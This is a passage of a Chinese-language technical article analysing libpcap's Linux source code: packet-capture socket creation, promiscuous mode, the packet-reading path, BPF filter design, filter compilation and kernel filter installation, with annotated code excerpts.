            /* 数据包自定义头部，对数据包捕获时间、捕获长度、真实长度进行描述 [pcap.h] */
            struct pcap_pkthdr pcap_header;
            };
            /* 包含了捕获句柄的接口、状态、过滤信息  [pcap-int.h] */
            struct pcap_md {
            /* 捕获状态结构  [pcap.h] */
            struct pcap_stat stat;
            int use_bpf; /* 如果为1，则代表使用内核过滤*/
            u_long	TotPkts;
            u_long	TotAccepted; /* 被接收数据包数目 */
            u_long	TotDrops;	/* 被丢弃数据包数目 */
            long	TotMissed;	/* 在过滤进行时被接口丢弃的数据包数目 */
            long	OrigMissed; /*在过滤进行前被接口丢弃的数据包数目*/
            #ifdef linux
            int	sock_packet; /* 如果为 1，则代表使用 2.0 内核的 SOCK_PACKET 模式 */
            int	timeout;	/* pcap_open_live() 函数超时返回时间*/
            int	clear_promisc; /* 关闭时设置接口为非混杂模式 */
            int	cooked;		/* 使用 SOCK_DGRAM 类型 */
            int	lo_ifindex;	/* 回路设备索引号 */
            char *device;	/* 接口设备名称 */
            /* 以混杂模式打开 SOCK_PACKET 类型 socket 的 pcap_t 链表*/
            struct pcap *next;
            #endif
            };
            </font></code></pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<p>函数 pcap_open_live() 的调用形式是 pcap_t * pcap_open_live(const char *device, int snaplen, int promisc, int to_ms, char *ebuf)，其中如果 device 为 NULL 或"any"，则对所有接口捕获，snaplen 代表用户期望的捕获数据包最大长度，promisc 代表设置接口为混杂模式（捕获所有到达接口的数据包，但只有在设备给定的情况下有意义），to_ms 代表函数超时返回的时间。本函数的代码比较简单，其执行步骤如下：</p>
<ul>
    <li>为结构 pcap_t 分配空间并根据函数入参对其部分属性进行初试化。
    <li>分别利用函数 live_open_new() 或 live_open_old() 尝试创建 PF_PACKET 方式或 SOCK_PACKET 方式的 socket，注意函数名中一个为"new"，另一个为"old"。
    <li>根据 socket 的方式，设置捕获句柄的读缓冲区长度，并分配空间。
    <li>为捕获句柄 pcap_t 设置 linux 系统下的特定函数，其中最重要的是读数据包函数和设置过滤器函数。（注意到这种从抽象模式到具体模式的设计思想在 linux 源代码中也多次出现，如 VFS 文件系统）<br />
    handle-&gt;read_op = pcap_read_linux； handle-&gt;setfilter_op = pcap_setfilter_linux； </li>
</ul>
<p>下面我们依次分析 2.2 和 2.0 内核版本下的 socket 创建函数。</p>
<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#eeeeee" border="1">
    <tbody>
        <tr>
            <td>
            <pre><code class="section">
            <font face="Lucida Console">static int
            live_open_new(pcap_t *handle, const char *device, int promisc,
            int to_ms, char *ebuf)
            {
            /* 如果设备给定,则打开一个 RAW 类型的套接字,否则,打开 DGRAM 类型的套接字 */
            sock_fd = device ?
            socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))
            : socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_ALL));
            /* 取得回路设备接口的索引 */
            handle-&gt;md.lo_ifindex = iface_get_id(sock_fd, "lo", ebuf);
            /* 如果设备给定，但接口类型未知或是某些必须工作在加工模式下的特定类型，则使用加工模式 */
            if (device) {
            /* 取得接口的硬件类型 */
            arptype = iface_get_arptype(sock_fd, device, ebuf);
            /* linux 使用 ARPHRD_xxx 标识接口的硬件类型，而 libpcap 使用DLT_xxx
            来标识。本函数是对上述二者的做映射变换，设置句柄的链路层类型为
            DLT_xxx，并设置句柄的偏移量为合适的值，使其与链路层头部之和为 4 的倍数，目的是边界对齐 */
            map_arphrd_to_dlt(handle, arptype, 1);
            /* 如果接口是前面谈到的不支持链路层头部的类型，则退而求其次，使用 SOCK_DGRAM 模式 */
            if (handle-&gt;linktype == xxx)
            {
            close(sock_fd)；
            sock_fd = socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_ALL));
            }
            /* 获得给定的设备名的索引 */
            device_id = iface_get_id(sock_fd, device, ebuf);
            /* 把套接字和给定的设备绑定，意味着只从给定的设备上捕获数据包 */
            iface_bind(sock_fd, device_id, ebuf)；
            } else { /* 现在是加工模式 */
            handle-&gt;md.cooked = 1;
            /* 数据包链路层头部为结构 sockaddr_ll， SLL 大概是结构名称的简写形式 */
            handle-&gt;linktype = DLT_LINUX_SLL;
            device_id = -1;
            }
            /* 设置给定设备为混杂模式 */
            if (device &amp;&amp; promisc)
            {
            memset(&amp;mr, 0, sizeof(mr));
            mr.mr_ifindex = device_id;
            mr.mr_type = PACKET_MR_PROMISC;
            setsockopt(sock_fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP,
            &amp;mr, sizeof(mr))；
            }
            /* 最后把创建的 socket 保存在句柄 pcap_t 中 */
            handle-&gt;fd = sock_fd;
            }
            /* 2.0 内核下函数要简单的多，因为只有唯一的一种 socket 方式 */
            static int
            live_open_old(pcap_t *handle, const char *device, int promisc,
            int to_ms, char *ebuf)
            {
            /* 首先创建一个SOCK_PACKET类型的 socket */
            handle-&gt;fd = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL));
            /* 2.0 内核下，不支持捕获所有接口，设备必须给定 */
            if (!device) {
            strncpy(ebuf, "pcap_open_live: The \"any\" device isn't supported on 2.0[.x]-kernel systems", PCAP_ERRBUF_SIZE);
            break;
            }
            /* 把 socket 和给定的设备绑定 */
            iface_bind_old(handle-&gt;fd, device, ebuf)；
            /*以下的处理和 2.2 版本下的相似，有所区别的是如果接口链路层类型未知，则 libpcap 直接退出 */
            arptype = iface_get_arptype(handle-&gt;fd, device, ebuf);
            map_arphrd_to_dlt(handle, arptype, 0);
            if (handle-&gt;linktype == -1) {
            snprintf(ebuf, PCAP_ERRBUF_SIZE, "unknown arptype %d", arptype);
            break;
            }
            /* 设置给定设备为混杂模式 */
            if (promisc) {
            memset(&amp;ifr, 0, sizeof(ifr));
            strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
            ioctl(handle-&gt;fd, SIOCGIFFLAGS, &amp;ifr)；
            ifr.ifr_flags |= IFF_PROMISC;
            ioctl(handle-&gt;fd, SIOCSIFFLAGS, &amp;ifr)；
            }
            }
            </font></code></pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<p>比较上面两个函数的代码，还有两个细节上的区别。首先是 socket 与接口绑定所使用的结构：老式的绑定使用了结构 sockaddr，而新式的则使用了 2.2 内核中定义的通用链路头部层结构 sockaddr_ll。</p>
<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#eeeeee" border="1">
    <tbody>
        <tr>
            <td>
            <pre><code class="section">
            <font face="Lucida Console">iface_bind_old(int fd, const char *device, char *ebuf)
            {
            struct sockaddr	saddr;
            memset(&amp;saddr, 0, sizeof(saddr));
            strncpy(saddr.sa_data, device, sizeof(saddr.sa_data));
            bind(fd, &amp;saddr, sizeof(saddr))；
            }
            iface_bind(int fd, int ifindex, char *ebuf)
            {
            struct sockaddr_ll	sll;
            memset(&amp;sll, 0, sizeof(sll));
            sll.sll_family = AF_PACKET;
            sll.sll_ifindex = ifindex;
            sll.sll_protocol	= htons(ETH_P_ALL);
            bind(fd, (struct sockaddr *) &amp;sll, sizeof(sll)；
            }
            </font></code></pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<p>第二个是在 2.2 版本中设置设备为混杂模式时，使用了函数 setsockopt()，以及新的标志 PACKET_ADD_MEMBERSHIP 和结构 packet_mreq。我估计这种方式主要是希望提供一个统一的调用接口，以代替传统的（混乱的）ioctl 调用。</p>
<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#eeeeee" border="1">
    <tbody>
        <tr>
            <td>
            <pre><code class="section">
            <font face="Lucida Console">struct packet_mreq
            {
            int             mr_ifindex;    /* 接口索引号 */
            unsigned short  mr_type;       /* 要执行的操作(号) */
            unsigned short  mr_alen;       /* 地址长度 */
            unsigned char   mr_address[8]; /* 物理层地址 */
            };
            </font></code></pre>
            </td>
        </tr>
    </tbody>
</table>
<p><a name="N100DE"><span class="atitle"><font size="4">用户应用程序接口</font></span></a></p>
<p>Libpcap 提供的用户程序接口比较简单，通过反复调用函数pcap_next()[pcap.c] 则可获得捕获到的数据包。下面是一些使用到的数据结构：</p>
<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#eeeeee" border="1">
    <tbody>
        <tr>
            <td>
            <pre><code class="section">
            <font face="Lucida Console">/* 单个数据包结构，包含数据包元信息和数据信息 */
            struct singleton [pcap.c]
            {
            struct pcap_pkthdr hdr; /* libpcap 自定义数据包头部 */
            const u_char * pkt; /* 指向捕获到的网络数据 */
            };
            /* 自定义头部在把数据包保存到文件中也被使用 */
            struct pcap_pkthdr
            {
            struct timeval ts; /* 捕获时间戳 */
            bpf_u_int32 caplen; /* 捕获到数据包的长度 */
            bpf_u_int32 len; /* 数据包的真正长度 */
            }
            /* 函数 pcap_next() 实际上是对函数 pcap_dispatch()[pcap.c] 的一个包装 */
            const u_char * pcap_next(pcap_t *p, struct pcap_pkthdr *h)
            {
            struct singleton s;
            s.hdr = h;
            /*入参"1"代表收到1个数据包就返回；回调函数 pcap_oneshot() 是对结构 singleton 的属性赋值 */
            if (pcap_dispatch(p, 1, pcap_oneshot, (u_char*)&amp;s) &lt;= 0)
            return (0);
            return (s.pkt); /* 返回数据包缓冲区的指针 */
            }
            </font></code></pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<p>pcap_dispatch() 简单的调用捕获句柄 pcap_t 中定义的特定操作系统的读数据函数：return p-&gt;read_op(p, cnt, callback, user)。在 linux 系统下，对应的读函数为 pcap_read_linux()（在创建捕获句柄时已定义 [pcap-linux.c]），而pcap_read_linux() 则是直接调用 pcap_read_packet()([pcap-linux.c])。</p>
<p>pcap_read_packet() 的中心任务是利用了 recvfrom() 从已创建的 socket 上读数据包数据，但是考虑到 socket 可能为前面讨论到的三种方式中的某一种，因此对数据缓冲区的结构有相应的处理，主要表现在加工模式下对伪链路层头部的合成。具体代码分析如下：</p>
<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#eeeeee" border="1">
    <tbody>
        <tr>
            <td>
            <pre><code class="section">
            <font face="Lucida Console">static int
            pcap_read_packet(pcap_t *handle, pcap_handler callback, u_char *userdata)
            {
            /* 数据包缓冲区指针 */
            u_char * bp;
            /* bp 与捕获句柄 pcap_t 中 handle-&gt;buffer
            之间的偏移量，其目的是为在加工模式捕获情况下，为合成的伪数据链路层头部留出空间 */
            int offset;
            /* PACKET_SOCKET 方式下，recvfrom() 返回 scokaddr_ll 类型，而在SOCK_PACKET 方式下，
            返回 sockaddr 类型 */
            #ifdef HAVE_PF_PACKET_SOCKETS
            struct sockaddr_ll	from;
            struct sll_header	* hdrp;
            #else
            struct sockaddr		from;
            #endif
            socklen_t		fromlen;
            int			packet_len, caplen;
            /* libpcap 自定义的头部 */
            struct pcap_pkthdr	pcap_header;
            #ifdef HAVE_PF_PACKET_SOCKETS
            /* 如果是加工模式，则为合成的链路层头部留出空间 */
            if (handle-&gt;md.cooked)
            offset = SLL_HDR_LEN;
            /* 其它两中方式下，链路层头部不做修改的被返回，不需要留空间 */
            else
            offset = 0;
            #else
            offset = 0;
            #endif
            bp = handle-&gt;buffer + handle-&gt;offset;
            /* 从内核中接收一个数据包，注意函数入参中对 bp 的位置进行修正 */
            packet_len = recvfrom( handle-&gt;fd, bp + offset,
            handle-&gt;bufsize - offset, MSG_TRUNC,
            (struct sockaddr *) &amp;from, &amp;fromlen);
            #ifdef HAVE_PF_PACKET_SOCKETS
            /* 如果是回路设备,则只捕获接收的数据包，而拒绝发送的数据包。显然，我们只能在 PF_PACKET
            方式下这样做,因为 SOCK_PACKET 方式下返回的链路层地址类型为
            sockaddr_pkt，缺少了判断数据包类型的信息。*/
            if (!handle-&gt;md.sock_packet &amp;&amp;
            from.sll_ifindex == handle-&gt;md.lo_ifindex &amp;&amp;
            from.sll_pkttype == PACKET_OUTGOING)
            return 0;
            #endif
            #ifdef HAVE_PF_PACKET_SOCKETS
            /* 如果是加工模式，则合成伪链路层头部 */
            if (handle-&gt;md.cooked) {
            /* 首先修正捕包数据的长度，加上链路层头部的长度 */
            packet_len += SLL_HDR_LEN;
            hdrp = (struct sll_header *)bp;
            /* 以下的代码分别对伪链路层头部的数据赋值 */
            hdrp-&gt;sll_pkttype = xxx;
            hdrp-&gt;sll_hatype = htons(from.sll_hatype);
            hdrp-&gt;sll_halen = htons(from.sll_halen);
            memcpy(hdrp-&gt;sll_addr, from.sll_addr,
            (from.sll_halen &gt; SLL_ADDRLEN) ?
            SLL_ADDRLEN : from.sll_halen);
            hdrp-&gt;sll_protocol = from.sll_protocol;
            }
            #endif
            /* 修正捕获的数据包的长度，根据前面的讨论，SOCK_PACKET 方式下长度可能是不准确的 */
            caplen = packet_len;
            if (caplen &gt; handle-&gt;snapshot)
            caplen = handle-&gt;snapshot;
            /* 如果没有使用内核级的包过滤,则在用户空间进行过滤*/
            if (!handle-&gt;md.use_bpf &amp;&amp; handle-&gt;fcode.bf_insns) {
            if (bpf_filter(handle-&gt;fcode.bf_insns, bp,
            packet_len, caplen) == 0)
            {
            /* 没有通过过滤，数据包被丢弃 */
            return 0;
            }
            }
            /* 填充 libpcap 自定义数据包头部数据：捕获时间,捕获的长度,真实的长度 */
            ioctl(handle-&gt;fd, SIOCGSTAMP, &amp;pcap_header.ts)；
            pcap_header.caplen	= caplen;
            pcap_header.len		= packet_len;
            /* 累加捕获数据包数目，注意到在不同内核/捕获方式情况下数目可能不准确 */
            handle-&gt;md.stat.ps_recv++;
            /* 调用用户定义的回调函数 */
            callback(userdata, &amp;pcap_header, bp);
            }
            </font></code></pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<table cellspacing="0" cellpadding="0" width="100%" border="0">
    <tbody>
        <tr>
            <td><font face="Lucida Console"><img height="1" alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%" /><br />
            <img height="6" alt="" src="http://www.ibm.com/i/c.gif" width="8" border="0" /></font></td>
        </tr>
    </tbody>
</table>
<br />
<br />
<p><a name="N100F5"><span class="atitle"><font size="4">数据包过滤机制</font></span></a></p>
<p>大量的网络监控程序目的不同，期望的数据包类型也不同，但绝大多数情况都都只需要所有数据包的一（小）部分。例如：对邮件系统进行监控可能只需要端口号为 25（smtp）和 110（pop3) 的 TCP 数据包，对 DNS 系统进行监控就只需要端口号为 53 的 UDP 数据包。包过滤机制的引入就是为了解决上述问题，用户程序只需简单的设置一系列过滤条件，最终便能获得满足条件的数据包。包过滤操作可以在用户空间执行，也可以在内核空间执行，但必须注意到数据包从内核空间拷贝到用户空间的开销很大，所以如果能在内核空间进行过滤，会极大的提高捕获的效率。内核过滤的优势在低速网络下表现不明显，但在高速网络下是非常突出的。在理论研究和实际应用中，包捕获和包过滤从语意上并没有严格的区分，关键在于认识到捕获数据包必然有过滤操作。基本上可以认为，包过滤机制在包捕获机制中占中心地位。</p>
<p>包过滤机制实际上是针对数据包的布尔值操作函数，如果函数最终返回 true，则通过过滤，反之则被丢弃。形式上包过滤由一个或多个谓词判断的并操作（AND）和或操作（OR）构成，每一个谓词判断基本上对应了数据包的协议类型或某个特定值,例如：只需要 TCP 类型且端口为 110 的数据包或 ARP 类型的数据包。包过滤机制在具体的实现上与数据包的协议类型并无多少关系，它只是把数据包简单的看成一个字节数组，而谓词判断会根据具体的协议映射到数组特定位置的值。如判断ARP类型数据包，只需要判断数组中第 13、14 个字节（以太头中的数据包类型）是否为 0X0806。从理论研究的意思上看，包过滤机制是一个数学问题，或者说是一个算法问题，其中心任务是如何使用最少的判断操作、最少的时间完成过滤处理，提高过滤效率。</p>
<br />
<table cellspacing="0" cellpadding="0" width="100%" border="0">
    <tbody>
        <tr>
            <td><img height="1" alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%" /><br />
            <img height="6" alt="" src="http://www.ibm.com/i/c.gif" width="8" border="0" /></td>
        </tr>
    </tbody>
</table>
<br />
<br />
<p><a name="N10101"><span class="atitle"><font size="4">BPF</font></span></a></p>
<p>Libpcap 重点使用 BPF（BSD Packet Filter）包过滤机制，BPF 于 1992 年被设计出来，其设计目的主要是解决当时已存在的过滤机制效率低下的问题。BPF的工作步骤如下：当一个数据包到达网络接口时，数据链路层的驱动会把它向系统的协议栈传送。但如果 BPF 监听接口，驱动首先调用 BPF。BPF 首先进行过滤操作，然后把数据包存放在过滤器相关的缓冲区中，最后设备驱动再次获得控制。注意到BPF是先对数据包过滤再缓冲，避免了类似 sun 的 NIT 过滤机制先缓冲每个数据包直到用户读数据时再过滤所造成的效率问题。参考资料D是关于 BPF 设计思想最重要的文献。</p>
<p>BPF 的设计思想和当时的计算机硬件的发展有很大联系，相对老式的过滤方式CSPF（CMU/Stanford Packet Filter）它有两大特点。1：基于寄存器的过滤机制，而不是早期内存堆栈过滤机制，2：直接使用独立的、非共享的内存缓冲区。同时，BPF 在过滤算法是也有很大进步，它使用无环控制流图（CFG control flow graph）,而不是老式的布尔表达式树（boolean expression tree）。布尔表达式树理解上比较直观，它的每一个叶子节点即是一个谓词判断，而非叶子节点则为 AND 操作或 OR操作。CSPF 有三个主要的缺点。1：过滤操作使用的栈在内存中被模拟，维护栈指针需要使用若干的加/减等操作，而内存操作是现代计算机架构的主要瓶颈。2：布尔表达式树造成了不需要的重复计算。3：不能分析数据包的变长头部。BPF 使用的CFG 算法实际上是一种特殊的状态机，每一节点代表了一个谓词判断，而左右边分别对应了判断失败和成功后的跳转，跳转后又是谓词判断，这样反复操作，直到到达成功或失败的终点。CFG 算法的优点在于把对数据包的分析信息直接建立在图中，从而不需要重复计算。直观的看，CFG 是一种"快速的、一直向前"的算法。</p>
<br />
<table cellspacing="0" cellpadding="0" width="100%" border="0">
    <tbody>
        <tr>
            <td><img height="1" alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%" /><br />
            <img height="6" alt="" src="http://www.ibm.com/i/c.gif" width="8" border="0" /></td>
        </tr>
    </tbody>
</table>
<br />
<br />
<p><a name="N1010D"><span class="atitle"><font size="4">过滤代码的编译</font></span></a></p>
<p>BPF 对 CFG 算法的代码实现非常复杂，它使用伪机器方式。BPF 伪机器是一个轻量级的，高效的状态机，对 BPF 过滤代码进行解释处理。BPF 过滤代码形式为"opcode jt jf k"，分别代表了操作码和寻址方式、判断正确的跳转、判断失败的跳转、操作使用的通用数据域。BPF 过滤代码从逻辑上看很类似于汇编语言，但它实际上是机器语言，注意到上述 4 个域的数据类型都是 int 和 char 型。显然，由用户来写过滤代码太过复杂，因此 libpcap 允许用户书写高层的、容易理解的过滤字符串，然后将其编译为BPF代码。</p>
<p>Libpcap 使用了 4 个源程序 gencode.c、optimize.c、grammar.c、scanner.c完成编译操作，其中前两个实现了对过滤字符串的编译和优化，后两个主要是为编译提供从协议相关过滤条件到协议无关(的字符数组)位置信息的映射，并且它们由词汇分析器生成器 flex 和 bison 生成。参考资料 C 有对此两个工具的讲解。</p>
<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#eeeeee" border="1">
    <tbody>
        <tr>
            <td>
            <pre><code class="section">
            <font face="Lucida Console">flex -Ppcap_ -t scanner.l &gt; $.scanner.c; mv $.scanner.c scanner.c
            bison -y -p pcap_ -d grammar.y
            mv y.tab.c grammar.c
            mv y.tab.h tokdefs.h
            </font></code></pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<p>编译过滤字符串调用了函数 pcap_compile()[getcode.c]，形式为：</p>
<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#eeeeee" border="1">
    <tbody>
        <tr>
            <td>
            <pre><code class="section">
            <font face="Lucida Console">int pcap_compile(pcap_t *p, struct bpf_program *program,
            char *buf, int optimize, bpf_u_int32 mask)
            </font></code></pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<p>其中 buf 指向用户过滤字符串，编译后的 BPF 代码存在在结构 bpf_program中，标志 optimize 指示是否对 BPF 代码进行优化。</p>
<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#eeeeee" border="1">
    <tbody>
        <tr>
            <td>
            <pre><code class="section">
            <font face="Lucida Console">/* [pcap-bpf.h] */
            struct bpf_program {
            u_int bf_len; /* BPF 代码中谓词判断指令的数目 */
            struct bpf_insn *bf_insns; /* 第一个谓词判断指令 */
            };
            /* 谓词判断指令结构，含意在前面已描述 [pcap-bpf.h] */
            struct bpf_insn {
            u_short	code;
            u_char 	jt;
            u_char 	jf;
            bpf_int32 k;
            };
            </font></code></pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<table cellspacing="0" cellpadding="0" width="100%" border="0">
    <tbody>
        <tr>
            <td><font face="Lucida Console"><img height="1" alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%" /><br />
            <img height="6" alt="" src="http://www.ibm.com/i/c.gif" width="8" border="0" /></font></td>
        </tr>
    </tbody>
</table>
<table class="no-print" cellspacing="0" cellpadding="0" align="right">
    <tbody>
        <tr align="right">
            <td><font face="Lucida Console"><img height="4" alt="" src="http://www.ibm.com/i/c.gif" width="100%" /><br />
            </font></td>
        </tr>
    </tbody>
</table>
<br />
<br />
<p><a name="N1012B"><span class="atitle"><font size="4">过滤代码的安装</font></span></a></p>
<p>前面我们曾经提到，在内核空间过滤数据包对整个捕获机制的效率是至关重要的。早期使用 SOCK_PACKET 方式的 Linux 不支持内核过滤，因此过滤操作只能在用户空间执行（请参阅函数 pcap_read_packet() 代码）,在《UNIX 网络编程(第一卷)》（参考资料 B）的第 26 章中对此有明确的描述。不过现在看起来情况已经发生改变，linux 在 PF_PACKET 类型的 socket 上支持内核过滤。Linux 内核允许我们把一个名为 LPF(Linux Packet Filter) 的过滤器直接放到 PF_PACKET 类型 socket 的处理过程中，过滤器在网卡接收中断执行后立即执行。LSF 基于 BPF 机制，但两者在实现上有略微的不同。实际代码如下：</p>
<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#eeeeee" border="1">
    <tbody>
        <tr>
            <td>
            <pre><code class="section">
            <font face="Lucida Console">/* 在包捕获设备上附加 BPF 代码 [pcap-linux.c]*/
            static int
            pcap_setfilter_linux(pcap_t *handle, struct bpf_program *filter)
            {
            #ifdef SO_ATTACH_FILTER
            struct sock_fprog	fcode;
            int can_filter_in_kernel;
            int err = 0;
            #endif
            /* 检查句柄和过滤器结构的正确性 */
            if (!handle)
            return -1;
            if (!filter) {
            strncpy(handle-&gt;errbuf, "setfilter: No filter specified",
            sizeof(handle-&gt;errbuf));
            return -1;
            }
            /* 具体描述如下 */
            if (install_bpf_program(handle, filter) &lt; 0)
            return -1;
            /* 缺省情况下在用户空间运行过滤器,但如果在内核安装成功,则值为 1 */
            handle-&gt;md.use_bpf = 0;
            /* 尝试在内核安装过滤器 */
            #ifdef SO_ATTACH_FILTER
            #ifdef USHRT_MAX
            if (handle-&gt;fcode.bf_len &gt; USHRT_MAX) {
            /*过滤器代码太长，内核不支持 */
            fprintf(stderr, "Warning: Filter too complex for kernel\n");
            fcode.filter = NULL;
            can_filter_in_kernel = 0;
            } else
            #endif /* USHRT_MAX */
            {
            /* linux 内核设置过滤器时使用的数据结构是 sock_fprog，而不是 BPF 的结构 bpf_program ,因此应做结构之间的转换 */
            switch (fix_program(handle, &amp;fcode)) {
            /* 严重错误，直接退出 */
            case -1:
            default:
            return -1;
            /* 通过检查，但不能工作在内核中 */
            case 0:
            can_filter_in_kernel = 0;
            break;
            /* BPF 可以在内核中工作 */
            case 1:
            can_filter_in_kernel = 1;
            break;
            }
            }
            /* 如果可以在内核中过滤，则安装过滤器到内核中 */
            if (can_filter_in_kernel) {
            if ((err = set_kernel_filter(handle, &amp;fcode)) == 0)
            {
            /* 安装成功 !!! */
            handle-&gt;md.use_bpf = 1;
            }
            else if (err == -1)	/* 出现非致命性错误 */
            {
            if (errno != ENOPROTOOPT &amp;&amp; errno != EOPNOTSUPP) {
            fprintf(stderr, "Warning: Kernel filter failed:
            %s\n",pcap_strerror(errno));
            }
            }
            }
            /* 如果不能在内核中使用过滤器，则去掉曾经可能在此 socket
            上安装的内核过滤器。主要目的是为了避免存在的过滤器对数据包过滤的干扰 */
            if (!handle-&gt;md.use_bpf)
            reset_kernel_filter(handle);[pcap-linux.c]
            #endif
            }
            /* 把 BPF 代码拷贝到 pcap_t 数据结构的 fcode 上 */
            int install_bpf_program(pcap_t *p, struct bpf_program *fp)
            {
            size_t prog_size;
            /* 首先释放可能已存在的 BPF 代码 */
            pcap_freecode(&amp;p-&gt;fcode);
            /* 计算过滤代码的长度，分配内存空间 */
            prog_size = sizeof(*fp-&gt;bf_insns) * fp-&gt;bf_len;
            p-&gt;fcode.bf_len = fp-&gt;bf_len;
            p-&gt;fcode.bf_insns = (struct bpf_insn *)malloc(prog_size);
            if (p-&gt;fcode.bf_insns == NULL) {
            snprintf(p-&gt;errbuf, sizeof(p-&gt;errbuf),
            "malloc: %s", pcap_strerror(errno));
            return (-1);
            }
            /* 把过滤代码保存在捕获句柄中 */
            memcpy(p-&gt;fcode.bf_insns, fp-&gt;bf_insns, prog_size);
            return (0);
            }
            /* 在内核中安装过滤器 */
            static int set_kernel_filter(pcap_t *handle, struct sock_fprog *fcode)
            {
            int total_filter_on = 0;
            int save_mode;
            int ret;
            int save_errno;
            /*在设置过滤器前，socket 的数据包接收队列中可能已存在若干数据包。当设置过滤器后，
            这些数据包极有可能不满足过滤条件，但它们不被过滤器丢弃。这意味着，
            传递到用户空间的头几个数据包不满足过滤条件。注意到在用户空间过滤这不是问题，
            因为用户空间的过滤器是在包进入队列后执行的。Libpcap
            解决这个问题的方法是在设置过滤器之前，首先读完接收队列中所有的数据包。
            具体步骤如下。*/
            /*为了避免无限循环的情况发生（反复的读数据包并丢弃，但新的数据包不停的到达），首先设置一个过滤器，阻止所有的包进入 */
            setsockopt(handle-&gt;fd, SOL_SOCKET, SO_ATTACH_FILTER,
            &amp;total_fcode, sizeof(total_fcode)；
            /* 保存 socket 当前的属性 */
            save_mode = fcntl(handle-&gt;fd, F_GETFL, 0);
            /* 设置 socket 它为非阻塞模式 */
            fcntl(handle-&gt;fd, F_SETFL, save_mode | O_NONBLOCK)；
            /* 反复读队列中的数据包，直到没有数据包可读。这意味着接收队列已被清空 */
            while (recv(handle-&gt;fd, &amp;drain, sizeof drain, MSG_TRUNC) &gt;= 0)；
            /* 恢复曾保存的 socket 属性 */
            fcntl(handle-&gt;fd, F_SETFL, save_mode);
            /* 现在安装新的过滤器 */
            setsockopt(handle-&gt;fd, SOL_SOCKET, SO_ATTACH_FILTER,
            fcode, sizeof(*fcode));
            }
            /* 释放 socket 上可能有的内核过滤器 */
            static int reset_kernel_filter(pcap_t *handle)
            {
            int dummy;
            return setsockopt(handle-&gt;fd, SOL_SOCKET, SO_DETACH_FILTER,
            &amp;dummy, sizeof(dummy));
            }
            </font></code></pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<p>linux 在安装和卸载过滤器时都使用了函数 setsockopt()，其中标志SOL_SOCKET 代表了对 socket 进行设置，而 SO_ATTACH_FILTER 和 SO_DETACH_FILTER 则分别对应了安装和卸载。下面是 linux 2.4.29 版本中的相关代码：</p>
<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#eeeeee" border="1">
    <tbody>
        <tr>
            <td>
            <pre><code class="section">
            <font face="Lucida Console">[net/core/sock.c]
            #ifdef CONFIG_FILTER
            case SO_ATTACH_FILTER:
            &#8230;&#8230;
            /* 把过滤条件结构从用户空间拷贝到内核空间 */
            if (copy_from_user(&amp;fprog, optval, sizeof(fprog)))
            break;
            /* 在 socket 上安装过滤器 */
            ret = sk_attach_filter(&amp;fprog, sk);
            &#8230;&#8230;
            case SO_DETACH_FILTER:
            /* 使用自旋锁锁住 socket */
            spin_lock_bh(&amp;sk-&gt;lock.slock);
            filter = sk-&gt;filter;
            /* 如果在 socket 上有过滤器，则简单设置为空，并释放过滤器内存 */
            if (filter) {
            sk-&gt;filter = NULL;
            spin_unlock_bh(&amp;sk-&gt;lock.slock);
            sk_filter_release(sk, filter);
            break;
            }
            spin_unlock_bh(&amp;sk-&gt;lock.slock);
            ret = -ENONET;
            break;
            #endif
            </font></code></pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<p>上面出现的 sk_attach_filter() 定义在 net/core/filter.c，它把结构sock_fprog 转换为结构 sk_filter, 最后把此结构设置为 socket 的过滤器：sk-&gt;filter = fp。</p>
<br />
<table class="no-print" cellspacing="0" cellpadding="0" align="right">
    <tbody>
        <tr align="right">
            <td><img height="4" alt="" src="http://www.ibm.com/i/c.gif" width="100%" /><br />
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<p><a name="N10142"><span class="atitle"><font size="4">其他代码</font></span></a></p>
<p>libpcap 还提供了其它若干函数，但基本上是提供辅助或扩展功能，重要性相对弱一点。我个人认为，函数 pcap_dump_open() 和 pcap_open_offline() 可能比较有用，使用它们能把在线的数据包写入文件并事后进行分析处理。</p>
<br />
<table class="no-print" cellspacing="0" cellpadding="0" align="right">
    <tbody>
        <tr align="right">
            <td><img height="4" alt="" src="http://www.ibm.com/i/c.gif" width="100%" /><br />
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<p><a name="N1014B"><span class="atitle"><font size="4">总结</font></span></a></p>
<p>1994 年 libpcap 的第一个版本被发布，到现在已有 11 年的历史，如今libpcap 被广泛的应用在各种网络监控软件中。Libpcap 最主要的优点在于平台无关性，用户程序几乎不需做任何改动就可移植到其它 unix 平台上；其次，libpcap也能适应各种过滤机制，特别对BPF的支持最好。分析它的源代码，可以学习开发者优秀的设计思想和实现技巧，也能了解到（linux）操作系统的网络内核实现，对个人能力的提高有很大帮助。</p>
